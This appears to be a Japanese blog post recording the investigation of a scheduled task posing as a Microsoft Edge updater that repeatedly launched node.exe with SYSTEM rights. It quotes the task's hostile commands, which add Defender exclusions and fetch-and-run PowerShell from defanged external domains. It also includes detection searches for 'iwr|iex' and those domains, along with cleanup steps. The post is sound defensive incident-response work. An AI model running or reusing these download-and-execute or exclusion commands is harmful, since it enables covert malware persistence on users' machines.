【実録】Microsoft Edgeを装った不審タスクを特定・停止した記録|node.exeが繰り返し起動する原因

Windowsトラブル調査・セキュリティ実録

【実録】Microsoft Edgeを装った不審タスクを特定・停止した記録|node.exeが繰り返し起動する原因

Windows上で、一瞬だけ起動して消えるnode.exeが繰り返し実行されていました。 実行ファイルの保存先はC:\Windows\System32配下で、フォルダ名には 「EdgeResourcesUpdaterV2」というMicrosoft Edgeを連想させる文字列が使われていました。

当初はWindowsやEdgeの新しい更新機能とも考えましたが、Process MonitorとPowerShellで起動元を追跡した結果、 通常のMicrosoft製更新処理では説明しにくいタスクが見つかりました。

重要: この記事は実際に確認したログと操作を記録したものです。 同様の不審なコマンドを見つけても、動作確認のために実行しないでください。 特に、Webから取得した内容をその場で実行するPowerShellコマンドは非常に危険です。

発端:node.exeが一瞬だけ何度も起動する

タスクマネージャーなどを確認していると、node.exeが一瞬だけ表示され、すぐに消える現象が続いていました。 常駐しているわけではないため、通常のプロセス一覧だけでは親プロセスや起動コマンドを確認できませんでした。

対象のフォルダは、次の場所に作成されていました。

C:\Windows\System32\EdgeResourcesUpdaterV2-2m98a

フォルダ内には、次のようなファイルが含まれていました。

ファイル・フォルダ 確認できた内容
node.exe Node.js系の実行ファイル
app.js 通常のテキストとしては読みにくいバイナリ化・難読化されたデータ
preload.js 起動時に読み込まれるJavaScript
*.node Node.js用のネイティブモジュール
db LevelDB形式に見えるデータ保存領域
build.zipnode.zip 展開・更新用とみられるアーカイブ

フォルダ名を変えても再作成された

調査の途中で対象フォルダの名前を変更したところ、元の名前のフォルダが再び自動作成されました。 この時点で、別の場所にあるタスク、サービス、スクリプトなどがフォルダを復元している可能性が高くなりました。

ただし、フォルダが再作成されたという事実だけでは、Windowsの正規機能なのか不正な永続化処理なのかは判断できません。 そこで、Microsoft Sysinternalsのツールを使って実行経路を追跡しました。

使用した調査ツール

Process Explorer

実行中のプロセス、親子関係、コマンドライン、読み込んでいるモジュールを確認するために使用しました。 しかし、今回のnode.exeは短時間で終了するため、手動で捕捉するのは困難でした。

Process Monitor

一瞬で終了するプロセスでも、起動履歴やファイルアクセスを残せるため、今回の調査では特に役立ちました。 フィルターは次のように設定しました。

Operation    is    Process Create    Include
Path         contains node.exe       Include

Path is node.exeでは、実際のフルパスと一致しないため何も表示されませんでした。 containsへ変更することで、繰り返し起動するnode.exeを記録できました。

起動元をPowerShellで検索

タスクスケジューラ内にnode.exeや不審なPowerShellを実行するタスクがないか、次のコマンドで確認しました。

Get-ScheduledTask | ForEach-Object {
  $t = $_
  $_.Actions |
    Where-Object {
      $_.Execute -match 'powershell|pwsh|cmd|node' -or
      $_.Arguments -match 'EdgeResourcesUpdater|iwr|iex'
    } |
    ForEach-Object {
      [PSCustomObject]@{
        TaskName  = $t.TaskName
        TaskPath  = $t.TaskPath
        Execute   = $_.Execute
        Arguments = $_.Arguments
      }
    }
} | Format-List

その結果、次のタスクが見つかりました。

TaskName : EdgeResourcesUpdaterV2-2m98a
TaskPath : \Microsoft\Windows\Policies\

Microsoftの標準タスクに見える場所と名称でしたが、登録されていたアクションは極めて不自然なものでした。

発見したタスクの内容

1.Microsoft Defenderの除外設定を追加

powershell -NoProfile -Command Add-MpPreference -ExclusionProcess ...
powershell -NoProfile -Command Add-MpPreference -ExclusionPath ...

タスクには、Microsoft Defenderのスキャン対象からプロセスやフォルダを除外する処理が登録されていました。 正規の管理作業でも除外設定は使われますが、利用者に説明せず自動的に除外を追加する処理は注意が必要です。

2.外部サイトからPowerShellを取得して実行

次の形式のコマンドが登録されていました。

powershell -NoProfile -Command iex (iwr -useb 外部ドメイン)

確認された接続先は、誤クリック防止のため一部を置き換えて表記します。

  • ambertrailhouse[.]com
  • purecliffspace[.]net
このコマンドを再実行してはいけません。 iwrで外部から取得した内容を、iexでそのままPowerShellコードとして実行する構造です。 接続先の内容は後から変更される可能性もあります。

3.SYSTEM権限で実行

タスクXMLには、次のSIDが設定されていました。

<UserId>S-1-5-18</UserId>

S-1-5-18はWindowsのLocal Systemを表します。 一般ユーザーより強い権限で処理が実行される構成でした。

4.イベントログ全体をトリガーに設定

タスクには、ApplicationログとSecurityログを対象にしたイベントトリガーが登録されていました。

<Select Path="Application">*</Select>
<Select Path="Security">*</Select>

特定のイベントIDではなく、対象ログ内の幅広いイベントを拾う構造です。 Windowsがログを書き込むたびにタスクの起動条件が成立し、多数の実行要求が発生する可能性があります。

5.複数回の実行要求を待ち行列へ入れる

<MultipleInstancesPolicy>Queue</MultipleInstancesPolicy>

前の処理が終了する前に次のトリガーが発生した場合、実行要求を順番待ちにする設定でした。 一見すると一定間隔のループに見えましたが、実際にはイベントログの発生に応じて実行が積み重なっていた可能性があります。

ネットワークを切ると動作しなかった

調査中、ネットワーク接続を遮断すると、それまで繰り返していた処理が正常に進まないことも確認しました。 タスク内に外部サイトへのアクセス命令があるため、外部通信が実行条件の一部だったと考えると整合します。

ただし、ネットワーク遮断時にどの段階で停止したのかまでは確定していません。 外部からスクリプト、設定、復号鍵、追加命令などを取得していた可能性がありますが、 暗号化・難読化された本体の詳細な機能は引き続き静的解析が必要です。

実施した停止・隔離作業

以下は今回の環境で実施した記録です。 同じ名前のタスクがあっても、削除前にタスクXML、実行パス、コマンドラインを保存してください。

1.タスクを無効化

Disable-ScheduledTask -TaskPath "\Microsoft\Windows\Policies\" -TaskName "EdgeResourcesUpdaterV2-2m98a"

2.タスクを削除

Unregister-ScheduledTask -TaskPath "\Microsoft\Windows\Policies\" -TaskName "EdgeResourcesUpdaterV2-2m98a" -Confirm:$false

3.不審なプロセスが残っていないか確認

Get-CimInstance Win32_Process |
  Where-Object {
    $_.Name -eq "powershell.exe" -and
    $_.CommandLine -match "EdgeResourcesUpdater|ambertrailhouse|purecliffspace"
  } |
  Select-Object ProcessId,ParentProcessId,CommandLine

4.Defenderの除外設定を確認

$p = Get-MpPreference
$p.ExclusionPath
$p.ExclusionProcess

不審な除外があった場合は、内容を記録してから個別に削除します。 除外一覧を確認せず、一括で消すと正規ソフトの設定まで消す可能性があります。

Remove-MpPreference -ExclusionPath "削除対象の正確なパス"

5.実行フォルダを隔離

Rename-Item "C:\Windows\System32\EdgeResourcesUpdaterV2-2m98a" "EdgeResourcesUpdaterV2-2m98a.QUARANTINE"

すぐに削除せず、解析と証拠保存のため.QUARANTINEへ変更しました。 隔離したフォルダ内のEXE、JS、NODEファイルは実行していません。

停止結果

タスクの削除後、繰り返し起動していたnode.exeは起動しなくなりました。

この結果から、少なくとも今回観測していたnode.exeの反復実行は、 発見したタスクを起点としていた可能性が非常に高いと判断できます。

削除確認には、次のコマンドを使用しました。

Get-ScheduledTask -TaskPath "\Microsoft\Windows\Policies\"

隔離フォルダの確認:

Get-ChildItem C:\Windows\System32 |
  Where-Object {
    $_.Name -like "EdgeResourcesUpdater*"
  }

ブラックアウトや電源断との関係

調査前には、PCのブラックアウトや完全な電源断も発生していました。 不審タスクはイベント発生ごとにPowerShellとNode.js処理を起動し、 外部通信やファイル読み込みを繰り返していた可能性があります。

ただし、現時点ではこのタスクが電源断の直接原因だったと断定する証拠はありません。 GPUドライバー、Wi-Fiドライバー、熱、電源回路、Windows Updateなど、別の要因も候補として残ります。

タスク停止後にPCが安定するかを一定期間観察し、再発の有無で関連性を判断する必要があります。

McAfeeは途中で阻止していたのか

McAfeeが一部の通信やファイルをブロックしていた可能性はあります。 しかし、タスク自体、Defender除外、PowerShell実行、Node.jsフォルダは残っていたため、 少なくともすべてを自動的に除去できていたわけではありません。

McAfeeの保護履歴に、次の情報が残っているかを確認する必要があります。

  • powershell.exe
  • node.exe
  • ambertrailhouse[.]com
  • purecliffspace[.]net
  • EdgeResourcesUpdaterV2-2m98a

ログが一致すれば、どの段階で処理を止めたのか判断する材料になります。 記録がない場合でも、安全だったことの証明にはなりません。

隔離したファイルの初期調査

隔離フォルダ一式はZIPとして保存し、静的解析用の証拠としました。 初期確認では、正規のNode.js関連部品に見えるファイルと、 テキストとして直接読み取れない難読化・バイナリ化されたデータが混在していました。

正規のオープンソース部品が含まれていても、全体が正規ソフトである証明にはなりません。 正規の実行環境やライブラリが、不審な処理を動かすために組み込まれる場合もあるためです。

今後の解析対象は次のとおりです。

  • app.jsの実際の処理内容
  • preload.jsの読み込み・復号構造
  • LevelDB内のURL、命令、実行履歴
  • build.zipと展開後ファイルの一致確認
  • EXE、DLL、NODEファイルのハッシュと署名
  • 外部から取得されていたPowerShellスクリプトの内容

同じ症状がある場合の確認ポイント

  1. タスクマネージャーで一瞬だけ現れるプロセス名を確認する
  2. Process MonitorのProcess Createで履歴を取る
  3. タスクスケジューラの名称だけで正規・不正を判断しない
  4. タスクの実行コマンド、引数、実行ユーザー、トリガーを確認する
  5. iexiwrを組み合わせた外部取得・即時実行に注意する
  6. Defenderの除外設定が勝手に追加されていないか確認する
  7. 削除前にXML、ログ、ファイル、ハッシュを保存する
  8. 金融・メール・重要アカウントは別の安全な端末で確認する

今回の結論

「EdgeResourcesUpdaterV2」という名称とSystem32配下の保存場所だけを見ると、 Microsoft EdgeやWindowsの正規更新機能に見えました。

しかし、実際のタスクには、SYSTEM権限、Defender除外、外部スクリプトの取得・即時実行、 広範囲のイベントトリガーが設定されていました。 少なくとも、通常のEdge更新処理として信頼できる構成ではありません。

タスクを無効化・削除し、関連フォルダを隔離したところ、 繰り返し起動していたnode.exeは停止しました。

名称や保存場所ではなく、実際の「起動元・引数・権限・通信先」を確認することが重要でした。

現在の残件

  • McAfeeの保護履歴と外部ドメインの照合
  • Microsoft Defenderまたは別媒体からのオフラインスキャン
  • 隔離ZIPの詳細な静的解析
  • ブラウザの保存パスワード、Cookie、拡張機能の確認
  • Google、Microsoft、メール、金融サービスのログイン履歴確認
  • 安全な端末からの重要パスワード変更
  • ブラックアウト・電源断が再発するかの継続観察

本記事は、特定の環境で発見した事象と対応手順の記録です。 同じ名称のファイルやタスクが存在しても、内容が完全に一致するとは限りません。 削除や設定変更の前に、ログ・タスクXML・実行ファイルの保存を推奨します。

決済はStripeで安全に処理されます。
Amazonで「タスク・確認」を検索
Amazonで探す

この記事の感想をこっそり教えてください(非公開)